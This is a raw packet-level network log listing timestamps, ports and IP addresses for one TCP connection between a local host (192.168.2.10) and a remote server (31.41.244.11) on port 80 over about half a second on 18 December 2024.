Dec 18, 2024 15:56:14.812277079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.812304020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.812755108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.812809944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.812865019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.813483000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.813515902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.813555002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.813565016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.814285040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.814342976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.814399004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.814930916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.814987898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.815043926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.815690041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.815727949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.815752029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.815799952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.816360950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.816437960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.816459894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.816502094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.817097902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.817207098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.817260027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.817848921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.817935944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.817997932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.818053961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.818552017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.818608999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.818674088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.818725109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.819299936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.819355965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.819434881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.819485903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.820072889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.820142984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.820144892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.820193052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.820755005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.820800066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.820817947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.820847034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.821480036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.821531057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.821562052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.821576118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.822200060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.822252035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.822324991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.822417974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.822922945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.823029041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.823081970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.823672056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.823729038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.823729038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.823787928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.824403048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.824454069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.824513912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.824572086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.825120926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.825228930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.825237036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.825273037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.954478979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.954500914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.954577923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.954725981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.954782009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.954782963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.955097914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.955432892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.955564022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.955573082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.955641985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.956104994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.956151009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.982151031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.982192993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.982222080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.982261896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.982526064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.982584953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.982696056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.982754946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.983046055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.983105898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.983127117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.983184099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.983741045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.983787060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.983799934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.983866930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.984337091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.984412909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.984466076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.984916925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.984966993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.984991074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.985044003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.985572100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.985671997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.985735893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.985862970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.986148119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.986202002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.986216068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.986275911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.986973047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.987031937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.987067938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.987116098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.987651110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.987701893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.987729073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.987768888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.988344908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.988398075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.988430023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.988477945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.989075899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.989132881 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.989192963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.989248991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.989784002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.989852905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.989942074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.990000963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.990493059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.990545034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.990689039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.990766048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.991219997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.991292000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.991295099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.991408110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.992053986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.992130995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.992146015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.992193937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.992660999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.992705107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.992752075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.992837906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.993432999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.993515015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.993542910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.993593931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.994169950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.994271994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.994299889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.994324923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.994879007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.994960070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.995026112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.995630980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.995749950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.995865107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.995910883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.996366978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.996424913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.996520996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.996567011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.997116089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.997221947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.997239113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.997294903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.997822046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.997878075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.997894049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.997941971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.998868942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.998924017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.998996973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.999155045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.999268055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.999352932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.999392033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.999437094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.000088930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.000137091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.000401020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.000448942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.000721931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.000773907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.000845909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.000921011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.001471996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.001522064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.001717091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.001776934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.002182007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.002224922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.002296925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.002358913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.002914906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.002962112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.003030062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.003103971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.003626108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.003717899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.003719091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.003806114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.004400015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.004517078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.004586935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.005105019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.005156040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.005357981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.005414963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.005789042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.005841017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.005897045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.005981922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.006539106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.006602049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.006623030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.006668091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.007253885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.007311106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.007347107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.007421017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.008054972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.008145094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.008351088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.008399010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.008718967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.008770943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.008822918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.008869886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.009438038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.009543896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.009566069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.009619951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.010160923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.010221958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.010250092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.010293007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.011154890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.011162043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.011212111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.011688948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.011763096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.011828899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.012363911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.012409925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.012460947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.012514114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.013130903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.013194084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.013215065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.013273001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.013804913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.013875961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.013936043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.013989925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.014609098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.014657974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.014661074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.014758110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.015351057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.015389919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.015417099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.015429974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.016047955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.016098976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.016267061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.016335011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.016741991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.016808033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.016866922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.016927004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.017571926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.017635107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.017667055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.017715931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.146944046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.147028923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.147202969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.147263050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.147263050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.147288084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.147358894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.147358894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.147881985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.147957087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.147974968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.148020029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.148547888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.148612976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.174418926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.174554110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.174714088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.174768925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.174774885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.174807072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.174827099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.174854040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.174901962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.174953938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.175599098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.175647020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.175748110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.175825119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.176260948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.176305056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.176740885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.176795959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.176800966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.176846981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.177133083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.177180052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.177198887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.177252054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.177858114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.177917004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.177948952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.178011894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.178591967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.178642988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.178666115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.178729057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.179352999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.179405928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.179428101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.179487944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.180183887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.180233955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.180258989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.180311918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.180828094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.180876970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.180990934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.181052923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.181592941 CET	80	49749	31.41.244.11	192.168.2.10
